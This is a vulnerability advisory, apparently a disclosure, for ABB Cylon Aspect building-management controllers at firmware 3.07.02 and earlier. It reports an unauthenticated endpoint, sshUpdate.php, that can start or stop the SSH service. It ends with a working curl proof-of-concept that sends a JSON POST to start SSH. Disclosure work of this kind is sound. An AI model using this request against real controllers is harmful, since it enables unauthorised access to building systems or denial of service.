ABB Cylon Aspect 3.07.02 (sshUpdate.php) Unauthenticated Remote SSH Service Control


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.07.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The BMS/BAS controller suffers from a vulnerability that allows an
unauthenticated attacker to enable or disable the SSH daemon by sending a
POST request to sshUpdate.php with a simple JSON payload. This can be exploited
to start the SSH service on the remote host without proper authentication,
potentially enabling unauthorized access or stop and deny service access.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5838
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5838.php
CWE ID: 306
CWE URL: https://cwe.mitre.org/data/definitions/306.html


21.04.2024

--


$ cat project

                 P   R   O   J   E   C   T

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     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
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░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                            
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 
                                                                                                               

$ curl -X POST "http://192.168.73.31/sshUpdate.php" \
> -H "Content-Type: application/json" \
> -d "{\"serviceAction\":\"start\", \"key\":\"sshenable\"}"